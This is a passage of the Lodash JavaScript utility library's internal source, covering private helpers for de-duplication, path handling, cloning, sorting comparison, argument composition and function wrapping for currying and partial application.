isCommon = true,
result = [],
seen = result;
if (comparator) {
isCommon = false;
includes = arrayIncludesWith;
}
else if (length >= LARGE_ARRAY_SIZE) {
var set = iteratee ? null : createSet(array);
if (set) {
return setToArray(set);
}
isCommon = false;
includes = cacheHas;
seen = new SetCache;
}
else {
seen = iteratee ? [] : result;
}
outer:
while (++index < length) {
var value = array[index],
computed = iteratee ? iteratee(value) : value;
value = (comparator || value !== 0) ? value : 0;
if (isCommon && computed === computed) {
var seenIndex = seen.length;
while (seenIndex--) {
if (seen[seenIndex] === computed) {
continue outer;
}
}
if (iteratee) {
seen.push(computed);
}
result.push(value);
}
else if (!includes(seen, computed, comparator)) {
if (seen !== result) {
seen.push(computed);
}
result.push(value);
}
}
return result;
}
/**
* The base implementation of `_.unset`.
*
* @private
* @param {Object} object The object to modify.
* @param {Array|string} path The property path to unset.
* @returns {boolean} Returns `true` if the property is deleted, else `false`.
*/
function baseUnset(object, path) {
path = castPath(path, object);
object = parent(object, path);
return object == null || delete object[toKey(last(path))];
}
/**
* The base implementation of `_.update`.
*
* @private
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to update.
* @param {Function} updater The function to produce the updated value.
* @param {Function} [customizer] The function to customize path creation.
* @returns {Object} Returns `object`.
*/
function baseUpdate(object, path, updater, customizer) {
return baseSet(object, path, updater(baseGet(object, path)), customizer);
}
/**
* The base implementation of methods like `_.dropWhile` and `_.takeWhile`
* without support for iteratee shorthands.
*
* @private
* @param {Array} array The array to query.
* @param {Function} predicate The function invoked per iteration.
* @param {boolean} [isDrop] Specify dropping elements instead of taking them.
* @param {boolean} [fromRight] Specify iterating from right to left.
* @returns {Array} Returns the slice of `array`.
*/
function baseWhile(array, predicate, isDrop, fromRight) {
var length = array.length,
index = fromRight ? length : -1;
while ((fromRight ? index-- : ++index < length) &&
predicate(array[index], index, array)) {}
return isDrop
? baseSlice(array, (fromRight ? 0 : index), (fromRight ? index + 1 : length))
: baseSlice(array, (fromRight ? index + 1 : 0), (fromRight ? length : index));
}
/**
* The base implementation of `wrapperValue` which returns the result of
* performing a sequence of actions on the unwrapped `value`, where each
* successive action is supplied the return value of the previous.
*
* @private
* @param {*} value The unwrapped value.
* @param {Array} actions Actions to perform to resolve the unwrapped value.
* @returns {*} Returns the resolved value.
*/
function baseWrapperValue(value, actions) {
var result = value;
if (result instanceof LazyWrapper) {
result = result.value();
}
return arrayReduce(actions, function(result, action) {
return action.func.apply(action.thisArg, arrayPush([result], action.args));
}, result);
}
/**
* The base implementation of methods like `_.xor`, without support for
* iteratee shorthands, that accepts an array of arrays to inspect.
*
* @private
* @param {Array} arrays The arrays to inspect.
* @param {Function} [iteratee] The iteratee invoked per element.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new array of values.
*/
function baseXor(arrays, iteratee, comparator) {
var length = arrays.length;
if (length < 2) {
return length ? baseUniq(arrays[0]) : [];
}
var index = -1,
result = Array(length);
while (++index < length) {
var array = arrays[index],
othIndex = -1;
while (++othIndex < length) {
if (othIndex != index) {
result[index] = baseDifference(result[index] || array, arrays[othIndex], iteratee, comparator);
}
}
}
return baseUniq(baseFlatten(result, 1), iteratee, comparator);
}
/**
* This base implementation of `_.zipObject` which assigns values using `assignFunc`.
*
* @private
* @param {Array} props The property identifiers.
* @param {Array} values The property values.
* @param {Function} assignFunc The function to assign values.
* @returns {Object} Returns the new object.
*/
function baseZipObject(props, values, assignFunc) {
var index = -1,
length = props.length,
valsLength = values.length,
result = {};
while (++index < length) {
var value = index < valsLength ? values[index] : undefined;
assignFunc(result, props[index], value);
}
return result;
}
/**
* Casts `value` to an empty array if it's not an array like object.
*
* @private
* @param {*} value The value to inspect.
* @returns {Array|Object} Returns the cast array-like object.
*/
function castArrayLikeObject(value) {
return isArrayLikeObject(value) ? value : [];
}
/**
* Casts `value` to `identity` if it's not a function.
*
* @private
* @param {*} value The value to inspect.
* @returns {Function} Returns cast function.
*/
function castFunction(value) {
return typeof value == 'function' ? value : identity;
}
/**
* Casts `value` to a path array if it's not one.
*
* @private
* @param {*} value The value to inspect.
* @param {Object} [object] The object to query keys on.
* @returns {Array} Returns the cast property path array.
*/
function castPath(value, object) {
if (isArray(value)) {
return value;
}
return isKey(value, object) ? [value] : stringToPath(toString(value));
}
/**
* A `baseRest` alias which can be replaced with `identity` by module
* replacement plugins.
*
* @private
* @type {Function}
* @param {Function} func The function to apply a rest parameter to.
* @returns {Function} Returns the new function.
*/
var castRest = baseRest;
/**
* Casts `array` to a slice if it's needed.
*
* @private
* @param {Array} array The array to inspect.
* @param {number} start The start position.
* @param {number} [end=array.length] The end position.
* @returns {Array} Returns the cast slice.
*/
function castSlice(array, start, end) {
var length = array.length;
end = end === undefined ? length : end;
return (!start && end >= length) ? array : baseSlice(array, start, end);
}
/**
* A simple wrapper around the global [`clearTimeout`](https://mdn.io/clearTimeout).
*
* @private
* @param {number|Object} id The timer id or timeout object of the timer to clear.
*/
var clearTimeout = ctxClearTimeout || function(id) {
return root.clearTimeout(id);
};
/**
* Creates a clone of `buffer`.
*
* @private
* @param {Buffer} buffer The buffer to clone.
* @param {boolean} [isDeep] Specify a deep clone.
* @returns {Buffer} Returns the cloned buffer.
*/
function cloneBuffer(buffer, isDeep) {
if (isDeep) {
return buffer.slice();
}
var length = buffer.length,
result = allocUnsafe ? allocUnsafe(length) : new buffer.constructor(length);
buffer.copy(result);
return result;
}
/**
* Creates a clone of `arrayBuffer`.
*
* @private
* @param {ArrayBuffer} arrayBuffer The array buffer to clone.
* @returns {ArrayBuffer} Returns the cloned array buffer.
*/
function cloneArrayBuffer(arrayBuffer) {
var result = new arrayBuffer.constructor(arrayBuffer.byteLength);
new Uint8Array(result).set(new Uint8Array(arrayBuffer));
return result;
}
/**
* Creates a clone of `dataView`.
*
* @private
* @param {Object} dataView The data view to clone.
* @param {boolean} [isDeep] Specify a deep clone.
* @returns {Object} Returns the cloned data view.
*/
function cloneDataView(dataView, isDeep) {
var buffer = isDeep ? cloneArrayBuffer(dataView.buffer) : dataView.buffer;
return new dataView.constructor(buffer, dataView.byteOffset, dataView.byteLength);
}
/**
* Creates a clone of `regexp`.
*
* @private
* @param {Object} regexp The regexp to clone.
* @returns {Object} Returns the cloned regexp.
*/
function cloneRegExp(regexp) {
var result = new regexp.constructor(regexp.source, reFlags.exec(regexp));
result.lastIndex = regexp.lastIndex;
return result;
}
/**
* Creates a clone of the `symbol` object.
*
* @private
* @param {Object} symbol The symbol object to clone.
* @returns {Object} Returns the cloned symbol object.
*/
function cloneSymbol(symbol) {
return symbolValueOf ? Object(symbolValueOf.call(symbol)) : {};
}
/**
* Creates a clone of `typedArray`.
*
* @private
* @param {Object} typedArray The typed array to clone.
* @param {boolean} [isDeep] Specify a deep clone.
* @returns {Object} Returns the cloned typed array.
*/
function cloneTypedArray(typedArray, isDeep) {
var buffer = isDeep ? cloneArrayBuffer(typedArray.buffer) : typedArray.buffer;
return new typedArray.constructor(buffer, typedArray.byteOffset, typedArray.length);
}
/**
* Compares values to sort them in ascending order.
*
* @private
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {number} Returns the sort order indicator for `value`.
*/
function compareAscending(value, other) {
if (value !== other) {
var valIsDefined = value !== undefined,
valIsNull = value === null,
valIsReflexive = value === value,
valIsSymbol = isSymbol(value);
var othIsDefined = other !== undefined,
othIsNull = other === null,
othIsReflexive = other === other,
othIsSymbol = isSymbol(other);
if ((!othIsNull && !othIsSymbol && !valIsSymbol && value > other) ||
(valIsSymbol && othIsDefined && othIsReflexive && !othIsNull && !othIsSymbol) ||
(valIsNull && othIsDefined && othIsReflexive) ||
(!valIsDefined && othIsReflexive) ||
!valIsReflexive) {
return 1;
}
if ((!valIsNull && !valIsSymbol && !othIsSymbol && value < other) ||
(othIsSymbol && valIsDefined && valIsReflexive && !valIsNull && !valIsSymbol) ||
(othIsNull && valIsDefined && valIsReflexive) ||
(!othIsDefined && valIsReflexive) ||
!othIsReflexive) {
return -1;
}
}
return 0;
}
/**
* Used by `_.orderBy` to compare multiple properties of a value to another
* and stable sort them.
*
* If `orders` is unspecified, all values are sorted in ascending order. Otherwise,
* specify an order of "desc" for descending or "asc" for ascending sort order
* of corresponding values.
*
* @private
* @param {Object} object The object to compare.
* @param {Object} other The other object to compare.
* @param {boolean[]|string[]} orders The order to sort by for each property.
* @returns {number} Returns the sort order indicator for `object`.
*/
function compareMultiple(object, other, orders) {
var index = -1,
objCriteria = object.criteria,
othCriteria = other.criteria,
length = objCriteria.length,
ordersLength = orders.length;
while (++index < length) {
var result = compareAscending(objCriteria[index], othCriteria[index]);
if (result) {
if (index >= ordersLength) {
return result;
}
var order = orders[index];
return result * (order == 'desc' ? -1 : 1);
}
}
// Fixes an `Array#sort` bug in the JS engine embedded in Adobe applications
// that causes it, under certain circumstances, to provide the same value for
// `object` and `other`. See https://github.com/jashkenas/underscore/pull/1247
// for more details.
//
// This also ensures a stable sort in V8 and other engines.
// See https://bugs.chromium.org/p/v8/issues/detail?id=90 for more details.
return object.index - other.index;
}
/**
* Creates an array that is the composition of partially applied arguments,
* placeholders, and provided arguments into a single array of arguments.
*
* @private
* @param {Array} args The provided arguments.
* @param {Array} partials The arguments to prepend to those provided.
* @param {Array} holders The `partials` placeholder indexes.
* @params {boolean} [isCurried] Specify composing for a curried function.
* @returns {Array} Returns the new array of composed arguments.
*/
function composeArgs(args, partials, holders, isCurried) {
var argsIndex = -1,
argsLength = args.length,
holdersLength = holders.length,
leftIndex = -1,
leftLength = partials.length,
rangeLength = nativeMax(argsLength - holdersLength, 0),
result = Array(leftLength + rangeLength),
isUncurried = !isCurried;
while (++leftIndex < leftLength) {
result[leftIndex] = partials[leftIndex];
}
while (++argsIndex < holdersLength) {
if (isUncurried || argsIndex < argsLength) {
result[holders[argsIndex]] = args[argsIndex];
}
}
while (rangeLength--) {
result[leftIndex++] = args[argsIndex++];
}
return result;
}
/**
* This function is like `composeArgs` except that the arguments composition
* is tailored for `_.partialRight`.
*
* @private
* @param {Array} args The provided arguments.
* @param {Array} partials The arguments to append to those provided.
* @param {Array} holders The `partials` placeholder indexes.
* @params {boolean} [isCurried] Specify composing for a curried function.
* @returns {Array} Returns the new array of composed arguments.
*/
function composeArgsRight(args, partials, holders, isCurried) {
var argsIndex = -1,
argsLength = args.length,
holdersIndex = -1,
holdersLength = holders.length,
rightIndex = -1,
rightLength = partials.length,
rangeLength = nativeMax(argsLength - holdersLength, 0),
result = Array(rangeLength + rightLength),
isUncurried = !isCurried;
while (++argsIndex < rangeLength) {
result[argsIndex] = args[argsIndex];
}
var offset = argsIndex;
while (++rightIndex < rightLength) {
result[offset + rightIndex] = partials[rightIndex];
}
while (++holdersIndex < holdersLength) {
if (isUncurried || argsIndex < argsLength) {
result[offset + holders[holdersIndex]] = args[argsIndex++];
}
}
return result;
}
/**
* Copies the values of `source` to `array`.
*
* @private
* @param {Array} source The array to copy values from.
* @param {Array} [array=[]] The array to copy values to.
* @returns {Array} Returns `array`.
*/
function copyArray(source, array) {
var index = -1,
length = source.length;
array || (array = Array(length));
while (++index < length) {
array[index] = source[index];
}
return array;
}
/**
* Copies properties of `source` to `object`.
*
* @private
* @param {Object} source The object to copy properties from.
* @param {Array} props The property identifiers to copy.
* @param {Object} [object={}] The object to copy properties to.
* @param {Function} [customizer] The function to customize copied values.
* @returns {Object} Returns `object`.
*/
function copyObject(source, props, object, customizer) {
var isNew = !object;
object || (object = {});
var index = -1,
length = props.length;
while (++index < length) {
var key = props[index];
var newValue = customizer
? customizer(object[key], source[key], key, object, source)
: undefined;
if (newValue === undefined) {
newValue = source[key];
}
if (isNew) {
baseAssignValue(object, key, newValue);
} else {
assignValue(object, key, newValue);
}
}
return object;
}
/**
* Copies own symbols of `source` to `object`.
*
* @private
* @param {Object} source The object to copy symbols from.
* @param {Object} [object={}] The object to copy symbols to.
* @returns {Object} Returns `object`.
*/
function copySymbols(source, object) {
return copyObject(source, getSymbols(source), object);
}
/**
* Copies own and inherited symbols of `source` to `object`.
*
* @private
* @param {Object} source The object to copy symbols from.
* @param {Object} [object={}] The object to copy symbols to.
* @returns {Object} Returns `object`.
*/
function copySymbolsIn(source, object) {
return copyObject(source, getSymbolsIn(source), object);
}
/**
* Creates a function like `_.groupBy`.
*
* @private
* @param {Function} setter The function to set accumulator values.
* @param {Function} [initializer] The accumulator object initializer.
* @returns {Function} Returns the new aggregator function.
*/
function createAggregator(setter, initializer) {
return function(collection, iteratee) {
var func = isArray(collection) ? arrayAggregator : baseAggregator,
accumulator = initializer ? initializer() : {};
return func(collection, setter, getIteratee(iteratee, 2), accumulator);
};
}
/**
* Creates a function like `_.assign`.
*
* @private
* @param {Function} assigner The function to assign values.
* @returns {Function} Returns the new assigner function.
*/
function createAssigner(assigner) {
return baseRest(function(object, sources) {
var index = -1,
length = sources.length,
customizer = length > 1 ? sources[length - 1] : undefined,
guard = length > 2 ? sources[2] : undefined;
customizer = (assigner.length > 3 && typeof customizer == 'function')
? (length--, customizer)
: undefined;
if (guard && isIterateeCall(sources[0], sources[1], guard)) {
customizer = length < 3 ? undefined : customizer;
length = 1;
}
object = Object(object);
while (++index < length) {
var source = sources[index];
if (source) {
assigner(object, source, index, customizer);
}
}
return object;
});
}
/**
* Creates a `baseEach` or `baseEachRight` function.
*
* @private
* @param {Function} eachFunc The function to iterate over a collection.
* @param {boolean} [fromRight] Specify iterating from right to left.
* @returns {Function} Returns the new base function.
*/
function createBaseEach(eachFunc, fromRight) {
return function(collection, iteratee) {
if (collection == null) {
return collection;
}
if (!isArrayLike(collection)) {
return eachFunc(collection, iteratee);
}
var length = collection.length,
index = fromRight ? length : -1,
iterable = Object(collection);
while ((fromRight ? index-- : ++index < length)) {
if (iteratee(iterable[index], index, iterable) === false) {
break;
}
}
return collection;
};
}
/**
* Creates a base function for methods like `_.forIn` and `_.forOwn`.
*
* @private
* @param {boolean} [fromRight] Specify iterating from right to left.
* @returns {Function} Returns the new base function.
*/
function createBaseFor(fromRight) {
return function(object, iteratee, keysFunc) {
var index = -1,
iterable = Object(object),
props = keysFunc(object),
length = props.length;
while (length--) {
var key = props[fromRight ? length : ++index];
if (iteratee(iterable[key], key, iterable) === false) {
break;
}
}
return object;
};
}
/**
* Creates a function that wraps `func` to invoke it with the optional `this`
* binding of `thisArg`.
*
* @private
* @param {Function} func The function to wrap.
* @param {number} bitmask The bitmask flags. See `createWrap` for more details.
* @param {*} [thisArg] The `this` binding of `func`.
* @returns {Function} Returns the new wrapped function.
*/
function createBind(func, bitmask, thisArg) {
var isBind = bitmask & WRAP_BIND_FLAG,
Ctor = createCtor(func);
function wrapper() {
var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
return fn.apply(isBind ? thisArg : this, arguments);
}
return wrapper;
}
/**
* Creates a function like `_.lowerFirst`.
*
* @private
* @param {string} methodName The name of the `String` case method to use.
* @returns {Function} Returns the new case function.
*/
function createCaseFirst(methodName) {
return function(string) {
string = toString(string);
var strSymbols = hasUnicode(string)
? stringToArray(string)
: undefined;
var chr = strSymbols
? strSymbols[0]
: string.charAt(0);
var trailing = strSymbols
? castSlice(strSymbols, 1).join('')
: string.slice(1);
return chr[methodName]() + trailing;
};
}
/**
* Creates a function like `_.camelCase`.
*
* @private
* @param {Function} callback The function to combine each word.
* @returns {Function} Returns the new compounder function.
*/
function createCompounder(callback) {
return function(string) {
return arrayReduce(words(deburr(string).replace(reApos, '')), callback, '');
};
}
/**
* Creates a function that produces an instance of `Ctor` regardless of
* whether it was invoked as part of a `new` expression or by `call` or `apply`.
*
* @private
* @param {Function} Ctor The constructor to wrap.
* @returns {Function} Returns the new wrapped function.
*/
function createCtor(Ctor) {
return function() {
// Use a `switch` statement to work with class constructors. See
// http://ecma-international.org/ecma-262/7.0/#sec-ecmascript-function-objects-call-thisargument-argumentslist
// for more details.
var args = arguments;
switch (args.length) {
case 0: return new Ctor;
case 1: return new Ctor(args[0]);
case 2: return new Ctor(args[0], args[1]);
case 3: return new Ctor(args[0], args[1], args[2]);
case 4: return new Ctor(args[0], args[1], args[2], args[3]);
case 5: return new Ctor(args[0], args[1], args[2], args[3], args[4]);
case 6: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5]);
case 7: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
}
var thisBinding = baseCreate(Ctor.prototype),
result = Ctor.apply(thisBinding, args);
// Mimic the constructor's `return` behavior.
// See https://es5.github.io/#x13.2.2 for more details.
return isObject(result) ? result : thisBinding;
};
}
/**
* Creates a function that wraps `func` to enable currying.
*
* @private
* @param {Function} func The function to wrap.
* @param {number} bitmask The bitmask flags. See `createWrap` for more details.
* @param {number} arity The arity of `func`.
* @returns {Function} Returns the new wrapped function.
*/
function createCurry(func, bitmask, arity) {
var Ctor = createCtor(func);
function wrapper() {
var length = arguments.length,
args = Array(length),
index = length,
placeholder = getHolder(wrapper);
while (index--) {
args[index] = arguments[index];
}
var holders = (length < 3 && args[0] !== placeholder && args[length - 1] !== placeholder)
? []
: replaceHolders(args, placeholder);
length -= holders.length;
if (length < arity) {
return createRecurry(
func, bitmask, createHybrid, wrapper.placeholder, undefined,
args, holders, undefined, undefined, arity - length);
}
var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
return apply(fn, this, args);
}
return wrapper;
}
/**
* Creates a `_.find` or `_.findLast` function.
*
* @private
* @param {Function} findIndexFunc The function to find the collection index.
* @returns {Function} Returns the new find function.
*/
function createFind(findIndexFunc) {
return function(collection, predicate, fromIndex) {
var iterable = Object(collection);
if (!isArrayLike(collection)) {
var iteratee = getIteratee(predicate, 3);
collection = keys(collection);
predicate = function(key) { return iteratee(iterable[key], key, iterable); };
}
var index = findIndexFunc(collection, predicate, fromIndex);
return index > -1 ? iterable[iteratee ? collection[index] : index] : undefined;
};
}
/**
* Creates a `_.flow` or `_.flowRight` function.
*
* @private
* @param {boolean} [fromRight] Specify iterating from right to left.
* @returns {Function} Returns the new flow function.
*/
function createFlow(fromRight) {
return flatRest(function(funcs) {
var length = funcs.length,
index = length,
prereq = LodashWrapper.prototype.thru;
if (fromRight) {
funcs.reverse();
}
while (index--) {
var func = funcs[index];
if (typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
if (prereq && !wrapper && getFuncName(func) == 'wrapper') {
var wrapper = new LodashWrapper([], true);
}
}
index = wrapper ? index : length;
while (++index < length) {
func = funcs[index];
var funcName = getFuncName(func),
data = funcName == 'wrapper' ? getData(func) : undefined;
if (data && isLaziable(data[0]) &&
data[1] == (WRAP_ARY_FLAG | WRAP_CURRY_FLAG | WRAP_PARTIAL_FLAG | WRAP_REARG_FLAG) &&
!data[4].length && data[9] == 1
) {
wrapper = wrapper[getFuncName(data[0])].apply(wrapper, data[3]);
} else {
wrapper = (func.length == 1 && isLaziable(func))
? wrapper[funcName]()
: wrapper.thru(func);
}
}
return function() {
var args = arguments,
value = args[0];
if (wrapper && args.length == 1 && isArray(value)) {
return wrapper.plant(value).value();
}
var index = 0,
result = length ? funcs[index].apply(this, args) : value;
while (++index < length) {
result = funcs[index].call(this, result);
}
return result;
};
});
}
/**
* Creates a function that wraps `func` to invoke it with optional `this`
* binding of `thisArg`, partial application, and currying.
*
* @private
* @param {Function|string} func The function or method name to wrap.
* @param {number} bitmask The bitmask flags. See `createWrap` for more details.
* @param {*} [thisArg] The `this` binding of `func`.
* @param {Array} [partials] The arguments to prepend to those provided to
* the new function.
* @param {Array} [holders] The `partials` placeholder indexes.
* @param {Array} [partialsRight] The arguments to append to those provided
* to the new function.
* @param {Array} [holdersRight] The `partialsRight` placeholder indexes.
* @param {Array} [argPos] The argument positions of the new function.
* @param {number} [ary] The arity cap of `func`.
* @param {number} [arity] The arity of `func`.
* @returns {Function} Returns the new wrapped function.
*/
function createHybrid(func, bitmask, thisArg, partials, holders, partialsRight, holdersRight, argPos, ary, arity) {
var isAry = bitmask & WRAP_ARY_FLAG,
isBind = bitmask & WRAP_BIND_FLAG,
isBindKey = bitmask & WRAP_BIND_KEY_FLAG,
isCurried = bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG),
isFlip = bitmask & WRAP_FLIP_FLAG,
Ctor = isBindKey ? undefined : createCtor(func);
function wrapper() {
var length = arguments.length,
args = Array(length),
index = length;
while (index--) {
args[index] = arguments[index];
}
if (isCurried) {
var placeholder = getHolder(wrapper),
holdersCount = countHolders(args, placeholder);
}
if (partials) {
args = composeArgs(args, partials, holders, isCurried);
}
if (partialsRight) {
args = composeArgsRight(args, partialsRight, holdersRight, isCurried);
}
length -= holdersCount;
if (isCurried && length < arity) {
var newHolders = replaceHolders(args, placeholder);
return createRecurry(
func, bitmask, createHybrid, wrapper.placeholder, thisArg,
args, newHolders, argPos, ary, arity - length
);
}
var thisBinding = isBind ? thisArg : this,
fn = isBindKey ? thisBinding[func] : func;
length = args.length;
if (argPos) {
args = reorder(args, argPos);
} else if (isFlip && length > 1) {
args.reverse();
}
if (isAry && ary < length) {
args.length = ary;
}
if (this && this !== root && this instanceof wrapper) {
fn = Ctor || createCtor(fn);
}
return fn.apply(thisBinding, args);
}
return wrapper;
}
/**
* Creates a function like `_.invertBy`.
*
* @private
* @param {Function} setter The function to set accumulator values.
* @param {Function} toIteratee The function to resolve iteratees.
* @returns {Function} Returns the new inverter function.
*/
function createInverter(setter, toIteratee) {
return function(object, iteratee) {
return baseInverter(object, setter, toIteratee(iteratee), {});
};
}
/**
* Creates a function that performs a mathematical operation on two values.
*
* @private
* @param {Function} operator The function to perform the operation.
* @param {number} [defaultValue] The value used for `undefined` arguments.
* @returns {Function} Returns the new mathematical operation function.
*/
function createMathOperation(operator, defaultValue) {
return function(value, other) {
var result;
if (value === undefined && other === undefined) {
return defaultValue;
}
if (value !== undefined) {
result = value;
}
if (other !== undefined) {
if (result === undefined) {
return other;
}
if (typeof value == 'string' || typeof other == 'string') {
value = baseToString(value);
other = baseToString(other);
} else {
value = baseToNumber(value);
other = baseToNumber(other);
}
result = operator(value, other);
}
return result;
};
}
/**
* Creates a function like `_.over`.
*
* @private
* @param {Function} arrayFunc The function to iterate over iteratees.
* @returns {Function} Returns the new over function.
*/
function createOver(arrayFunc) {
return flatRest(function(iteratees) {
iteratees = arrayMap(iteratees, baseUnary(getIteratee()));
return baseRest(function(args) {
var thisArg = this;
return arrayFunc(iteratees, function(iteratee) {
return apply(iteratee, thisArg, args);
});
});
});
}
/**
* Creates the padding for `string` based on `length`. The `chars` string
* is truncated if the number of characters exceeds `length`.
*
* @private
* @param {number} length The padding length.
* @param {string} [chars=' '] The string used as padding.
* @returns {string} Returns the padding for `string`.
*/
function createPadding(length, chars) {
chars = chars === undefined ? ' ' : baseToString(chars);
var charsLength = chars.length;
if (charsLength < 2) {
return charsLength ? baseRepeat(chars, length) : chars;
}
var result = baseRepeat(chars, nativeCeil(length / stringSize(chars)));
return hasUnicode(chars)
? castSlice(stringToArray(result), 0, length).join('')
: result.slice(0, length);
}
/**
* Creates a function that wraps `func` to invoke it with the `this` binding
* of `thisArg` and `partials` prepended to the arguments it receives.
*
* @private
* @param {Function} func The function to wrap.
* @param {number} bitmask The bitmask flags. See `createWrap` for more details.
* @param {*} thisArg The `this` binding of `func`.
* @param {Array} partials The arguments to prepend to those provided to
* the new function.
* @returns {Function} Returns the new wrapped function.
*/
function createPartial(func, bitmask, thisArg, partials) {
var isBind = bitmask & WRAP_BIND_FLAG,
Ctor = createCtor(func);
function wrapper() {
var argsIndex = -1,
argsLength = arguments.length,
leftIndex = -1,
leftLength = partials.length,
args = Array(leftLength + argsLength),
fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
while (++leftIndex < leftLength) {
args[leftIndex] = partials[leftIndex];
}
while (argsLength--) {
args[leftIndex++] = arguments[++argsIndex];
}
return apply(fn, isBind ? thisArg : this, args);
}
return wrapper;
}
/**
* Creates a `_.range` or `_.rangeRight` function.
*
* @private
* @param {boolean} [fromRight] Specify iterating from right to left.
* @returns {Function} Returns the new range function.
*/
function createRange(fromRight) {
return function(start, end, step) {
if (step && typeof step != 'number' && isIterateeCall(start, end, step)) {
end = step = undefined;
}
// Ensure the sign of `-0` is preserved.
start = toFinite(start);
if (end === undefined) {
end = start;
start = 0;
} else {
end = toFinite(end);
}
step = step === undefined ? (start < end ? 1 : -1) : toFinite(step);
return baseRange(start, end, step, fromRight);
};
}
/**
* Creates a function that performs a relational operation on two values.
*
* @private
* @param {Function} operator The function to perform the operation.
* @returns {Function} Returns the new relational operation function.
*/
function createRelationalOperation(operator) {
return function(value, other) {
if (!(typeof value == 'string' && typeof other == 'string')) {
value = toNumber(value);
other = toNumber(other);
}
return operator(value, other);
};
}
/**
* Creates a function that wraps `func` to continue currying.
*
* @private
* @param {Function} func The function to wrap.
* @param {number} bitmask The bitmask flags. See `createWrap` for more details.
* @param {Function} wrapFunc The function to create the `func` wrapper.
* @param {*} placeholder The placeholder value.
* @param {*} [thisArg] The `this` binding of `func`.
* @param {Array} [partials] The arguments to prepend to those provided to
* the new function.
* @param {Array} [holders] The `partials` placeholder indexes.
* @param {Array} [argPos] The argument positions of the new function.
* @param {number} [ary] The arity cap of `func`.
* @param {number} [arity] The arity of `func`.
* @returns {Function} Returns the new wrapped function.
*/
function createRecurry(func, bitmask, wrapFunc, placeholder, thisArg, partials, holders, argPos, ary, arity) {
var isCurry = bitmask & WRAP_CURRY_FLAG,
newHolders = isCurry ? holders : undefined,
newHoldersRight = isCurry ? undefined : holders,
newPartials = isCurry ? partials : undefined,
newPartialsRight = isCurry ? undefined : partials;
bitmask |= (isCurry ? WRAP_PARTIAL_FLAG : WRAP_PARTIAL_RIGHT_FLAG);
bitmask &= ~(isCurry ? WRAP_PARTIAL_RIGHT_FLAG : WRAP_PARTIAL_FLAG);
if (!(bitmask & WRAP_CURRY_BOUND_FLAG)) {
bitmask &= ~(WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG);
}
var newData = [
func, bitmask, thisArg, newPartials, newHolders, newPartialsRight,
newHoldersRight, argPos, ary, arity
];
var result = wrapFunc.apply(undefined, newData);
if (isLaziable(func)) {
setData(result, newData);
}
result.placeholder = placeholder;
return setWrapToString(result, func, bitmask);
}
/**
* Creates a function like `_.round`.
*
* @private
* @param {string} methodName The name of the `Math` method to use when rounding.
* @returns {Function} Returns the new round function.
*/
function createRound(methodName) {
var func = Math[methodName];
return function(number, precision) {
number = toNumber(number);
precision = precision == null ? 0 : nativeMin(toInteger(precision), 292);
if (precision && nativeIsFinite(number)) {
// Shift with exponential notation to avoid floating-point issues.
// See [MDN](https://mdn.io/round#Examples) for more details.
var pair = (toString(number) + 'e').split('e'),
value = func(pair[0] + 'e' + (+pair[1] + precision));
pair = (toString(value) + 'e').split('e');
return +(pair[0] + 'e' + (+pair[1] - precision));
}
return func(number);
};
}
/**
* Creates a set object of `values`.
*
* @private
* @param {Array} values The values to add to the set.
* @returns {Object} Returns the new set.
*/
var createSet = !(Set && (1 / setToArray(new Set([,-0]))[1]) == INFINITY) ? noop : function(values) {
return new Set(values);
};
/**
* Creates a `_.toPairs` or `_.toPairsIn` function.
*
* @private
* @param {Function} keysFunc The function to get the keys of a given object.
* @returns {Function} Returns the new pairs function.
*/
function createToPairs(keysFunc) {
return function(object) {
var tag = getTag(object);
if (tag == mapTag) {
return mapToArray(object);
}
if (tag == setTag) {
return setToPairs(object);
}
return baseToPairs(object, keysFunc(object));
};
}
/**
* Creates a function that either curries or invokes `func` with optional
* `this` binding and partially applied arguments.
*
* @private
* @param {Function|string} func The function or method name to wrap.
* @param {number} bitmask The bitmask flags.
* 1 - `_.bind`
* 2 - `_.bindKey`
* 4 - `_.curry` or `_.curryRight` of a bound function
* 8 - `_.curry`
* 16 - `_.curryRight`
* 32 - `_.partial`
* 64 - `_.partialRight`
* 128 - `_.rearg`
* 256 - `_.ary`
* 512 - `_.flip`
* @param {*} [thisArg] The `this` binding of `func`.
* @param {Array} [partials] The arguments to be partially applied.
* @param {Array} [holders] The `partials` placeholder indexes.
* @param {Array} [argPos] The argument positions of the new function.
* @param {number} [ary] The arity cap of `func`.
* @param {number} [arity] The arity of `func`.
* @returns {Function} Returns the new wrapped function.
*/
function createWrap(func, bitmask, thisArg, partials, holders, argPos, ary, arity) {
var isBindKey = bitmask & WRAP_BIND_KEY_FLAG;
if (!isBindKey && typeof func != 'function') {
throw new TypeError(FUNC_ERROR_TEXT);
}
var length = partials ? partials.length : 0;
if (!length) {
bitmask &= ~(WRAP_PARTIAL_FLAG | WRAP_PARTIAL_RIGHT_FLAG);
partials = holders = undefined;
}
ary = ary === undefined ? ary : nativeMax(toInteger(ary), 0);
arity = arity === undefined ? arity : toInteger(arity);
length -= holders ? holders.length : 0;
if (bitmask & WRAP_PARTIAL_RIGHT_FLAG) {
var partialsRight = partials,
holdersRight = holders;
partials = holders = undefined;
}
var data = isBindKey ? undefined : getData(func);
var newData = [
func, bitmask, thisArg, partials, holders, partialsRight, holdersRight,
argPos, ary, arity
];
if (data) {
mergeData(newData, data);
}
func = newData[0];
bitmask = newData[1];
thisArg = newData[2];
partials = newData[3];
holders = newData[4];
arity = newData[9] = newData[9] === undefined
? (isBindKey ? 0 : func.length)
: nativeMax(newData[9] - length, 0);
if (!arity && bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG)) {
bitmask &= ~(WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG);
}
if (!bitmask || bitmask == WRAP_BIND_FLAG) {
var result = createBind(func, bitmask, thisArg);
} else if (bitmask == WRAP_CURRY_FLAG || bitmask == WRAP_CURRY_RIGHT_FLAG) {
result = createCurry(func, bitmask, arity);
